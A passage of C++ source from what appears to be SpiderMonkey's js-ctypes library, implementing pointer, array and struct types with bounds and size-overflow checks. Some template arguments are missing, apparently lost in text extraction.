CType object with the common properties and slots. JSObject* typeObj = CType::Create(cx, typeProto, dataProto, TYPE_pointer, NULL, INT_TO_JSVAL(sizeof(void*)), INT_TO_JSVAL(ffi_type_pointer.alignment), &ffi_type_pointer); if (!typeObj) return NULL; // Set the target type. (This will be 'null' for an opaque pointer type.) JS_SetReservedSlot(typeObj, SLOT_TARGET_T, OBJECT_TO_JSVAL(baseType)); // Finally, cache our newly-created PointerType on our pointed-to CType. JS_SetReservedSlot(baseType, SLOT_PTR, OBJECT_TO_JSVAL(typeObj)); return typeObj; } JSBool PointerType::ConstructData(JSContext* cx, JSHandleObject obj, unsigned argc, jsval* vp) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } if (argc > 3) { JS_ReportError(cx, "constructor takes 0, 1, 2, or 3 arguments"); return JS_FALSE; } RootedObject result(cx, CData::Create(cx, obj, NullPtr(), NULL, true)); if (!result) return JS_FALSE; // Set return value early, must not observe *vp after JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); // There are 3 things that we might be creating here: // 1 - A null pointer (no arguments) // 2 - An initialized pointer (1 argument) // 3 - A closure (1-3 arguments) // // The API doesn't give us a perfect way to distinguish 2 and 3, but the // heuristics we use should be fine. // // Case 1 - Null pointer // if (argc == 0) return JS_TRUE; // Analyze the arguments a bit to decide what to do next. jsval* argv = JS_ARGV(cx, vp); RootedObject baseObj(cx, PointerType::GetBaseType(obj)); bool looksLikeClosure = CType::GetTypeCode(baseObj) == TYPE_function && argv[0].isObject() && JS_ObjectIsCallable(cx, &argv[0].toObject()); // // Case 2 - Initialized pointer // if (!looksLikeClosure) { if (argc != 1) { JS_ReportError(cx, "first argument must be a function"); return JS_FALSE; } return ExplicitConvert(cx, argv[0], obj, CData::GetData(result)); } // // Case 3 - Closure // // The second argument is an optional 'this' parameter with which to invoke // the given js function. Callers may leave this blank, or pass null if they // wish to pass the third argument. RootedObject thisObj(cx, NULL); if (argc >= 2) { if (JSVAL_IS_NULL(argv[1])) { thisObj = NULL; } else if (!JSVAL_IS_PRIMITIVE(argv[1])) { thisObj = JSVAL_TO_OBJECT(argv[1]); } else if (!JS_ValueToObject(cx, argv[1], thisObj.address())) { return JS_FALSE; } } // The third argument is an optional error sentinel that js-ctypes will return // if an exception is raised while executing the closure. The type must match // the return type of the callback. jsval errVal = JSVAL_VOID; if (argc == 3) errVal = argv[2]; RootedObject fnObj(cx, JSVAL_TO_OBJECT(argv[0])); return FunctionType::ConstructData(cx, baseObj, result, fnObj, thisObj, errVal); } JSObject* PointerType::GetBaseType(JSObject* obj) { JS_ASSERT(CType::GetTypeCode(obj) == TYPE_pointer); jsval type = JS_GetReservedSlot(obj, SLOT_TARGET_T); JS_ASSERT(!JSVAL_IS_NULL(type)); return JSVAL_TO_OBJECT(type); } JSBool PointerType::TargetTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_TARGET_T)); JS_ASSERT(vp.isObject()); return JS_TRUE; } JSBool PointerType::IsNull(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Get pointer type and base type. JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } void* data = *static_cast(CData::GetData(obj)); jsval result = BOOLEAN_TO_JSVAL(data == NULL); JS_SET_RVAL(cx, vp, result); return JS_TRUE; } JSBool PointerType::OffsetBy(JSContext* cx, int offset, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } RootedObject typeObj(cx, CData::GetCType(obj)); if (CType::GetTypeCode(typeObj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } RootedObject baseType(cx, PointerType::GetBaseType(typeObj)); if (!CType::IsSizeDefined(baseType)) { JS_ReportError(cx, "cannot modify pointer of undefined size"); return JS_FALSE; } size_t elementSize = CType::GetSize(baseType); char* data = static_cast(*static_cast(CData::GetData(obj))); void* address = data + offset * elementSize; // Create a PointerType CData object containing the new address. JSObject* result = CData::Create(cx, typeObj, NullPtr(), &address, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool PointerType::Increment(JSContext* cx, unsigned argc, jsval* vp) { return OffsetBy(cx, 1, vp); } JSBool PointerType::Decrement(JSContext* cx, unsigned argc, jsval* vp) { return OffsetBy(cx, -1, vp); } JSBool PointerType::ContentsGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Get pointer type and base type. JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } RootedObject baseType(cx, GetBaseType(typeObj)); if (!CType::IsSizeDefined(baseType)) { JS_ReportError(cx, "cannot get contents of undefined size"); return JS_FALSE; } void* data = *static_cast(CData::GetData(obj)); if (data == NULL) { JS_ReportError(cx, "cannot read contents of null pointer"); return JS_FALSE; } jsval result; if (!ConvertToJS(cx, baseType, NullPtr(), data, false, false, &result)) return JS_FALSE; JS_SET_RVAL(cx, vp.address(), result); return JS_TRUE; } JSBool PointerType::ContentsSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp) { if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Get pointer type and base type. JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_pointer) { JS_ReportError(cx, "not a PointerType"); return JS_FALSE; } JSObject* baseType = GetBaseType(typeObj); if (!CType::IsSizeDefined(baseType)) { JS_ReportError(cx, "cannot set contents of undefined size"); return JS_FALSE; } void* data = *static_cast(CData::GetData(obj)); if (data == NULL) { JS_ReportError(cx, "cannot write contents to null pointer"); return JS_FALSE; } return ImplicitConvert(cx, vp, baseType, data, false, NULL); } /******************************************************************************* ** ArrayType implementation *******************************************************************************/ JSBool ArrayType::Create(JSContext* cx, unsigned argc, jsval* vp) { // Construct and return a new ArrayType object. if (argc < 1 || argc > 2) { JS_ReportError(cx, "ArrayType takes one or two arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); if (JSVAL_IS_PRIMITIVE(argv[0]) || !CType::IsCType(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "first argument must be a CType"); return JS_FALSE; } // Convert the length argument to a size_t. size_t length = 0; if (argc == 2 && !jsvalToSize(cx, argv[1], false, &length)) { JS_ReportError(cx, "second argument must be a nonnegative integer"); return JS_FALSE; } RootedObject baseType(cx, JSVAL_TO_OBJECT(argv[0])); JSObject* result = CreateInternal(cx, baseType, length, argc == 2); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSObject* ArrayType::CreateInternal(JSContext* cx, HandleObject baseType, size_t length, bool lengthDefined) { // Get ctypes.ArrayType.prototype and the common prototype for CData objects // of this type, from ctypes.CType.prototype. RootedObject typeProto(cx, CType::GetProtoFromType(baseType, SLOT_ARRAYPROTO)); RootedObject dataProto(cx, CType::GetProtoFromType(baseType, SLOT_ARRAYDATAPROTO)); // Determine the size of the array from the base type, if possible. // The size of the base type must be defined. // If our length is undefined, both our size and length will be undefined. size_t baseSize; if (!CType::GetSafeSize(baseType, &baseSize)) { JS_ReportError(cx, "base size must be defined"); return NULL; } jsval sizeVal = JSVAL_VOID; jsval lengthVal = JSVAL_VOID; if (lengthDefined) { // Check for overflow, and convert to an int or double as required. size_t size = length * baseSize; if (length > 0 && size / length != baseSize) { JS_ReportError(cx, "size overflow"); return NULL; } if (!SizeTojsval(cx, size, &sizeVal) || !SizeTojsval(cx, length, &lengthVal)) return NULL; } size_t align = CType::GetAlignment(baseType); // Create a new CType object with the common properties and slots. JSObject* typeObj = CType::Create(cx, typeProto, dataProto, TYPE_array, NULL, sizeVal, INT_TO_JSVAL(align), NULL); if (!typeObj) return NULL; // Set the element type. JS_SetReservedSlot(typeObj, SLOT_ELEMENT_T, OBJECT_TO_JSVAL(baseType)); // Set the length. JS_SetReservedSlot(typeObj, SLOT_LENGTH, lengthVal); return typeObj; } JSBool ArrayType::ConstructData(JSContext* cx, JSHandleObject obj_, unsigned argc, jsval* vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedObject obj(cx, obj_); // Make a mutable version if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_array) { JS_ReportError(cx, "not an ArrayType"); return JS_FALSE; } // Decide whether we have an object to initialize from. We'll override this // if we get a length argument instead. bool convertObject = argc == 1; // Check if we're an array of undefined length. If we are, allow construction // with a length argument, or with an actual JS array. if (CType::IsSizeDefined(obj)) { if (argc > 1) { JS_ReportError(cx, "constructor takes zero or one argument"); return JS_FALSE; } } else { if (argc != 1) { JS_ReportError(cx, "constructor takes one argument"); return JS_FALSE; } RootedObject baseType(cx, GetBaseType(obj)); size_t length; if (jsvalToSize(cx, args[0], false, &length)) { // Have a length, rather than an object to initialize from. convertObject = false; } else if (!JSVAL_IS_PRIMITIVE(args[0])) { // We were given an object with a .length property. // This could be a JS array, or a CData array. RootedObject arg(cx, JSVAL_TO_OBJECT(args[0])); js::AutoValueRooter lengthVal(cx); if (!JS_GetProperty(cx, arg, "length", lengthVal.jsval_addr()) || !jsvalToSize(cx, lengthVal.jsval_value(), false, &length)) { JS_ReportError(cx, "argument must be an array object or length"); return JS_FALSE; } } else if (JSVAL_IS_STRING(args[0])) { // We were given a string. Size the array to the appropriate length, // including space for the terminator. JSString* sourceString = JSVAL_TO_STRING(args[0]); size_t sourceLength = sourceString->length(); const jschar* sourceChars = sourceString->getChars(cx); if (!sourceChars) return false; switch (CType::GetTypeCode(baseType)) { case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: { // Determine the UTF-8 length. length = GetDeflatedUTF8StringLength(cx, sourceChars, sourceLength); if (length == (size_t) -1) return false; ++length; break; } case TYPE_jschar: length = sourceLength + 1; break; default: return TypeError(cx, "array", args[0]); } } else { JS_ReportError(cx, "argument must be an array object or length"); return JS_FALSE; } // Construct a new ArrayType of defined length, for the new CData object. obj = CreateInternal(cx, baseType, length, true); if (!obj) return JS_FALSE; } // Root the CType object, in case we created one above. js::AutoObjectRooter root(cx, obj); JSObject* result = CData::Create(cx, obj, NullPtr(), NULL, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); if (convertObject) { if (!ExplicitConvert(cx, args[0], obj, CData::GetData(result))) return JS_FALSE; } return JS_TRUE; } JSObject* ArrayType::GetBaseType(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_array); jsval type = JS_GetReservedSlot(obj, SLOT_ELEMENT_T); JS_ASSERT(!JSVAL_IS_NULL(type)); return JSVAL_TO_OBJECT(type); } bool ArrayType::GetSafeLength(JSObject* obj, size_t* result) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_array); jsval length = JS_GetReservedSlot(obj, SLOT_LENGTH); // The "length" property can be an int, a double, or JSVAL_VOID // (for arrays of undefined length), and must always fit in a size_t. if (JSVAL_IS_INT(length)) { *result = JSVAL_TO_INT(length); return true; } if (JSVAL_IS_DOUBLE(length)) { *result = Convert(JSVAL_TO_DOUBLE(length)); return true; } JS_ASSERT(JSVAL_IS_VOID(length)); return false; } size_t ArrayType::GetLength(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_array); jsval length = JS_GetReservedSlot(obj, SLOT_LENGTH); JS_ASSERT(!JSVAL_IS_VOID(length)); // The "length" property can be an int, a double, or JSVAL_VOID // (for arrays of undefined length), and must always fit in a size_t. // For callers who know it can never be JSVAL_VOID, return a size_t directly. if (JSVAL_IS_INT(length)) return JSVAL_TO_INT(length); return Convert(JSVAL_TO_DOUBLE(length)); } ffi_type* ArrayType::BuildFFIType(JSContext* cx, JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_array); JS_ASSERT(CType::IsSizeDefined(obj)); JSObject* baseType = ArrayType::GetBaseType(obj); ffi_type* ffiBaseType = CType::GetFFIType(cx, baseType); if (!ffiBaseType) return NULL; size_t length = ArrayType::GetLength(obj); // Create an ffi_type to represent the array. This is necessary for the case // where the array is part of a struct. Since libffi has no intrinsic // support for array types, we approximate it by creating a struct type // with elements of type 'baseType' and with appropriate size and alignment // values. It would be nice to not do all the work of setting up 'elements', // but some libffi platforms currently require that it be meaningful. I'm // looking at you, x86_64. AutoPtr ffiType(cx->new_()); if (!ffiType) { JS_ReportOutOfMemory(cx); return NULL; } ffiType->type = FFI_TYPE_STRUCT; ffiType->size = CType::GetSize(obj); ffiType->alignment = CType::GetAlignment(obj); ffiType->elements = cx->array_new(length + 1); if (!ffiType->elements) { JS_ReportAllocationOverflow(cx); return NULL; } for (size_t i = 0; i < length; ++i) ffiType->elements[i] = ffiBaseType; ffiType->elements[length] = NULL; return ffiType.forget(); } JSBool ArrayType::ElementTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_array) { JS_ReportError(cx, "not an ArrayType"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_ELEMENT_T)); JS_ASSERT(!JSVAL_IS_PRIMITIVE(vp)); return JS_TRUE; } JSBool ArrayType::LengthGetter(JSContext* cx, JSHandleObject obj_, JSHandleId idval, MutableHandleValue vp) { JSObject *obj = obj_; // This getter exists for both CTypes and CDatas of the ArrayType persuasion. // If we're dealing with a CData, get the CType from it. if (CData::IsCData(obj)) obj = CData::GetCType(obj); if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_array) { JS_ReportError(cx, "not an ArrayType"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_LENGTH)); JS_ASSERT(JSVAL_IS_NUMBER(vp) || JSVAL_IS_VOID(vp)); return JS_TRUE; } JSBool ArrayType::Getter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { // This should never happen, but we'll check to be safe. if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Bail early if we're not an ArrayType. (This setter is present for all // CData, regardless of CType.) JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_array) return JS_TRUE; // Convert the index to a size_t and bounds-check it. size_t index; size_t length = GetLength(typeObj); bool ok = jsidToSize(cx, idval, true, &index); int32_t dummy; if (!ok && JSID_IS_STRING(idval) && !StringToInteger(cx, JSID_TO_STRING(idval), &dummy)) { // String either isn't a number, or doesn't fit in size_t. // Chances are it's a regular property lookup, so return. return JS_TRUE; } if (!ok || index >= length) { JS_ReportError(cx, "invalid index"); return JS_FALSE; } RootedObject baseType(cx, GetBaseType(typeObj)); size_t elementSize = CType::GetSize(baseType); char* data = static_cast(CData::GetData(obj)) + elementSize * index; return ConvertToJS(cx, baseType, obj, data, false, false, vp.address()); } JSBool ArrayType::Setter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp) { // This should never happen, but we'll check to be safe. if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } // Bail early if we're not an ArrayType. (This setter is present for all // CData, regardless of CType.) JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_array) return JS_TRUE; // Convert the index to a size_t and bounds-check it. size_t index; size_t length = GetLength(typeObj); bool ok = jsidToSize(cx, idval, true, &index); int32_t dummy; if (!ok && JSID_IS_STRING(idval) && !StringToInteger(cx, JSID_TO_STRING(idval), &dummy)) { // String either isn't a number, or doesn't fit in size_t. // Chances are it's a regular property lookup, so return. return JS_TRUE; } if (!ok || index >= length) { JS_ReportError(cx, "invalid index"); return JS_FALSE; } JSObject* baseType = GetBaseType(typeObj); size_t elementSize = CType::GetSize(baseType); char* data = static_cast(CData::GetData(obj)) + elementSize * index; return ImplicitConvert(cx, vp, baseType, data, false, NULL); } JSBool ArrayType::AddressOfElement(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } RootedObject typeObj(cx, CData::GetCType(obj)); if (CType::GetTypeCode(typeObj) != TYPE_array) { JS_ReportError(cx, "not an ArrayType"); return JS_FALSE; } if (argc != 1) { JS_ReportError(cx, "addressOfElement takes one argument"); return JS_FALSE; } RootedObject baseType(cx, GetBaseType(typeObj)); RootedObject pointerType(cx, PointerType::CreateInternal(cx, baseType)); if (!pointerType) return JS_FALSE; // Create a PointerType CData object containing null. JSObject* result = CData::Create(cx, pointerType, NullPtr(), NULL, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); // Convert the index to a size_t and bounds-check it. size_t index; size_t length = GetLength(typeObj); if (!jsvalToSize(cx, JS_ARGV(cx, vp)[0], false, &index) || index >= length) { JS_ReportError(cx, "invalid index"); return JS_FALSE; } // Manually set the pointer inside the object, so we skip the conversion step. void** data = static_cast(CData::GetData(result)); size_t elementSize = CType::GetSize(baseType); *data = static_cast(CData::GetData(obj)) + elementSize * index; return JS_TRUE; } /******************************************************************************* ** StructType implementation *******************************************************************************/ // For a struct field descriptor 'val' of the form { name : type }, extract // 'name' and 'type'. static JSFlatString* ExtractStructField(JSContext* cx, jsval val, JSObject** typeObj) { if (JSVAL_IS_PRIMITIVE(val)) { JS_ReportError(cx, "struct field descriptors require a valid name and type"); return NULL; } RootedObject obj(cx, JSVAL_TO_OBJECT(val)); RootedObject iter(cx, JS_NewPropertyIterator(cx, obj)); if (!iter) return NULL; js::AutoObjectRooter iterroot(cx, iter); jsid nameid; if (!JS_NextProperty(cx, iter, &nameid)) return NULL; if (JSID_IS_VOID(nameid)) { JS_ReportError(cx, "struct field descriptors require a valid name and type"); return NULL; } if (!JSID_IS_STRING(nameid)) { JS_ReportError(cx, "struct field descriptors require a valid name and type"); return NULL; } // make sure we have one, and only one, property jsid id; if (!JS_NextProperty(cx, iter, &id)) return NULL; if (!JSID_IS_VOID(id)) { JS_ReportError(cx, "struct field descriptors must contain one property"); return NULL; } js::AutoValueRooter propVal(cx); if (!JS_GetPropertyById(cx, obj, nameid, propVal.jsval_addr())) return NULL; if (propVal.value().isPrimitive() || !CType::IsCType(JSVAL_TO_OBJECT(propVal.jsval_value()))) { JS_ReportError(cx, "struct field descriptors require a valid name and type"); return NULL; } // Undefined size or zero size struct members are illegal. // (Zero-size arrays are legal as struct members in C++, but libffi will // choke on a zero-size struct, so we disallow them.) *typeObj = JSVAL_TO_OBJECT(propVal.jsval_value()); size_t size; if (!CType::GetSafeSize(*typeObj, &size) || size == 0) { JS_ReportError(cx, "struct field types must have defined and nonzero size"); return NULL; } return JSID_TO_FLAT_STRING(nameid); } // For a struct field with 'name' and 'type', add an element of the form // { name : type }. static JSBool AddFieldToArray(JSContext* cx, jsval* element, JSFlatString* name_, JSObject* typeObj_) { RootedObject typeObj(cx, typeObj_); Rooted name(cx, name_); RootedObject fieldObj(cx, JS_NewObject(cx, NULL, NULL, NULL)); if (!fieldObj) return false; *element = OBJECT_TO_JSVAL(fieldObj); if (!JS_DefineUCProperty(cx, fieldObj, name->chars(), name->length(), OBJECT_TO_JSVAL(typeObj), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; return JS_FreezeObject(cx, fieldObj); } JSBool StructType::Create(JSContext* cx, unsigned argc, jsval* vp) { CallArgs args = CallArgsFromVp(argc, vp); // Construct and return a new StructType object. if (argc < 1 || argc > 2) { JS_ReportError(cx, "StructType takes one or two arguments"); return JS_FALSE; } jsval name = args[0]; if (!JSVAL_IS_STRING(name)) { JS_ReportError(cx, "first argument must be a string"); return JS_FALSE; } // Get ctypes.StructType.prototype from the ctypes.StructType constructor. RootedObject typeProto(cx, CType::GetProtoFromCtor(&args.callee(), SLOT_STRUCTPROTO)); // Create a simple StructType with no defined fields. The result will be // non-instantiable as CData, will have no 'prototype' property, and will // have undefined size and alignment and no ffi_type. RootedObject result(cx, CType::Create(cx, typeProto, NullPtr(), TYPE_struct, JSVAL_TO_STRING(name), JSVAL_VOID, JSVAL_VOID, NULL)); if (!result) return JS_FALSE; if (argc == 2) { RootedObject arr(cx, JSVAL_IS_PRIMITIVE(args[1]) ? NULL : &args[1].toObject()); if (!arr || !JS_IsArrayObject(cx, arr)) { JS_ReportError(cx, "second argument must be an array"); return JS_FALSE; } // Define the struct fields. if (!DefineInternal(cx, result, arr)) return JS_FALSE; } JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool StructType::DefineInternal(JSContext* cx, JSObject* typeObj_, JSObject* fieldsObj_) { RootedObject typeObj(cx, typeObj_); RootedObject fieldsObj(cx, fieldsObj_); uint32_t len; ASSERT_OK(JS_GetArrayLength(cx, fieldsObj, &len)); // Get the common prototype for CData objects of this type from // ctypes.CType.prototype. RootedObject dataProto(cx, CType::GetProtoFromType(typeObj, SLOT_STRUCTDATAPROTO)); // Set up the 'prototype' and 'prototype.constructor' properties. // The prototype will reflect the struct fields as properties on CData objects // created from this type. RootedObject prototype(cx, JS_NewObject(cx, &sCDataProtoClass, dataProto, NULL)); if (!prototype) return JS_FALSE; if (!JS_DefineProperty(cx, prototype, "constructor", OBJECT_TO_JSVAL(typeObj), NULL, NULL, JSPROP_READONLY | JSPROP_PERMANENT)) return JS_FALSE; // Create a FieldInfoHash to stash on the type object, and an array to root // its constituents. (We cannot simply stash the hash in a reserved slot now // to get GC safety for free, since if anything in this function fails we // do not want to mutate 'typeObj'.) AutoPtr fields(cx->new_()); Array fieldRootsArray; if (!fields || !fields->init(len) || !fieldRootsArray.appendN(JSVAL_VOID, len)) { JS_ReportOutOfMemory(cx); return JS_FALSE; } js::AutoArrayRooter fieldRoots(cx, fieldRootsArray.length(), fieldRootsArray.begin()); // Process the field types. size_t structSize, structAlign; if (len != 0) { structSize = 0; structAlign = 0; for (uint32_t i = 0; i < len; ++i) { js::AutoValueRooter item(cx); if (!JS_GetElement(cx, fieldsObj, i, item.jsval_addr())) return JS_FALSE; RootedObject fieldType(cx, NULL); JSFlatString* name = ExtractStructField(cx, item.jsval_value(), fieldType.address()); if (!name) return JS_FALSE; fieldRootsArray[i] = OBJECT_TO_JSVAL(fieldType); // Make sure each field name is unique, and add it to the hash. FieldInfoHash::AddPtr entryPtr = fields->lookupForAdd(name); if (entryPtr) { JS_ReportError(cx, "struct fields must have unique names"); return JS_FALSE; } ASSERT_OK(fields->add(entryPtr, name, FieldInfo())); FieldInfo& info = entryPtr->value; info.mType = fieldType; info.mIndex = i; // Add the field to the StructType's 'prototype' property. if (!JS_DefineUCProperty(cx, prototype, name->chars(), name->length(), JSVAL_VOID, StructType::FieldGetter, StructType::FieldSetter, JSPROP_SHARED | JSPROP_ENUMERATE | JSPROP_PERMANENT)) return JS_FALSE; size_t fieldSize = CType::GetSize(fieldType); size_t fieldAlign = CType::GetAlignment(fieldType); size_t fieldOffset = Align(structSize, fieldAlign); // Check for overflow. Since we hold invariant that fieldSize % fieldAlign // be zero, we can safely check fieldOffset + fieldSize without first // checking fieldOffset for overflow. if (fieldOffset + fieldSize < structSize) { JS_ReportError(cx, "size overflow"); return JS_FALSE; } info.mOffset = fieldOffset; structSize = fieldOffset + fieldSize; if (fieldAlign > structAlign) structAlign = fieldAlign; } // Pad the struct tail according to struct alignment. size_t structTail = Align(structSize, structAlign); if (structTail < structSize) { JS_ReportError(cx, "size overflow"); return JS_FALSE; } structSize = structTail; } else { // Empty structs are illegal in C, but are legal and have a size of // 1 byte in C++. We're going to allow them, and trick libffi into // believing this by adding a char member. The resulting struct will have // no getters or setters, and will be initialized to zero. structSize = 1; structAlign = 1; } jsval sizeVal; if (!SizeTojsval(cx, structSize, &sizeVal)) return JS_FALSE; JS_SetReservedSlot(typeObj, SLOT_FIELDINFO, PRIVATE_TO_JSVAL(fields.forget())); JS_SetReservedSlot(typeObj, SLOT_SIZE, sizeVal); JS_SetReservedSlot(typeObj, SLOT_ALIGN, INT_TO_JSVAL(structAlign)); //if (!JS_FreezeObject(cx, prototype)0 // XXX fixme - see bug 541212! // return false; JS_SetReservedSlot(typeObj, SLOT_PROTO, OBJECT_TO_JSVAL(prototype)); return JS_TRUE; } ffi_type* StructType::BuildFFIType(JSContext* cx, JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_struct); JS_ASSERT(CType::IsSizeDefined(obj)); const FieldInfoHash* fields = GetFieldInfo(obj); size_t len = fields->count(); size_t structSize = CType::GetSize(obj); size_t structAlign = CType::GetAlignment(obj); AutoPtr ffiType(cx->new_()); if (!ffiType) { JS_ReportOutOfMemory(cx); return NULL; } ffiType->type = FFI_TYPE_STRUCT; AutoPtr::Array elements; if (len != 0) { elements = cx->array_new(len + 1); if (!elements) { JS_ReportOutOfMemory(cx); return NULL; } elements[len] = NULL; for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) { const FieldInfoHash::Entry& entry = r.front(); ffi_type* fieldType = CType::GetFFIType(cx, entry.value.mType); if (!fieldType) return NULL; elements[entry.value.mIndex] = fieldType; } } else { // Represent an empty struct as having a size of 1 byte, just like C++. JS_ASSERT(structSize == 1); JS_ASSERT(structAlign == 1); elements = cx->array_new(2); if (!elements) { JS_ReportOutOfMemory(cx); return NULL; } elements[0] = &ffi_type_uint8; elements[1] = NULL; } ffiType->elements = elements.get(); #ifdef DEBUG // Perform a sanity check: the result of our struct size and alignment // calculations should match libffi's. We force it to do this calculation // by calling ffi_prep_cif. ffi_cif cif; ffiType->size = 0; ffiType->alignment = 0; ffi_status status = ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 0, ffiType.get(), NULL); JS_ASSERT(status == FFI_OK); JS_ASSERT(structSize == ffiType->size); JS_ASSERT(structAlign == ffiType->alignment); #else // Fill in the ffi_type's size and align fields. This makes libffi treat the // type as initialized; it will not recompute the values. (We assume // everything agrees; if it doesn't, we really want to know about it, which // is the purpose of the above debug-only check.) ffiType->size = structSize; ffiType->alignment = structAlign; #endif elements.forget(); return ffiType.forget(); } JSBool StructType::Define(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } if (CType::IsSizeDefined(obj)) { JS_ReportError(cx, "StructType has already been defined"); return JS_FALSE; } if (argc != 1) { JS_ReportError(cx, "define takes one argument"); return JS_FALSE; } jsval arg = JS_ARGV(cx, vp)[0]; if (JSVAL_IS_PRIMITIVE(arg)) { JS_ReportError(cx, "argument must be an array"); return JS_FALSE; } RootedObject arr(cx, JSVAL_TO_OBJECT(arg)); if (!JS_IsArrayObject(cx, arr)) { JS_ReportError(cx, "argument must be an array"); return JS_FALSE; } return DefineInternal(cx, obj, arr); } JSBool StructType::ConstructData(JSContext* cx, HandleObject obj, unsigned argc, jsval* vp) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } if (!CType::IsSizeDefined(obj)) { JS_ReportError(cx, "cannot construct an opaque StructType"); return JS_FALSE; } JSObject* result = CData::Create(cx, obj, NullPtr(), NULL, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); if (argc == 0) return JS_TRUE; char* buffer = static_cast(CData::GetData(result)); const FieldInfoHash* fields = GetFieldInfo(obj); jsval* argv = JS_ARGV(cx, vp); if (argc == 1) { // There are two possible interpretations of the argument: // 1) It may be an object '{ ... }' with properties representing the // struct fields intended to ExplicitConvert wholesale to our StructType. // 2) If the struct contains one field, the arg may be intended to // ImplicitConvert directly to that arg's CType. // Thankfully, the conditions for these two possibilities to succeed // are mutually exclusive, so we can pick the right one. // Try option 1) first. if (ExplicitConvert(cx, argv[0], obj, buffer)) return JS_TRUE; if (fields->count() != 1) return JS_FALSE; // If ExplicitConvert failed, and there is no pending exception, then assume // hard failure (out of memory, or some other similarly serious condition). if (!JS_IsExceptionPending(cx)) return JS_FALSE; // Otherwise, assume soft failure, and clear the pending exception so that we // can throw a different one as required. JS_ClearPendingException(cx); // Fall through to try option 2). } // We have a type constructor of the form 'ctypes.StructType(a, b, c, ...)'. // ImplicitConvert each field. if (argc == fields->count()) { for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) { const FieldInfo& field = r.front().value; STATIC_ASSUME(field.mIndex < fields->count()); /* Quantified invariant */ if (!ImplicitConvert(cx, argv[field.mIndex], field.mType, buffer + field.mOffset, false, NULL)) return JS_FALSE; } return JS_TRUE; } JS_ReportError(cx, "constructor takes 0, 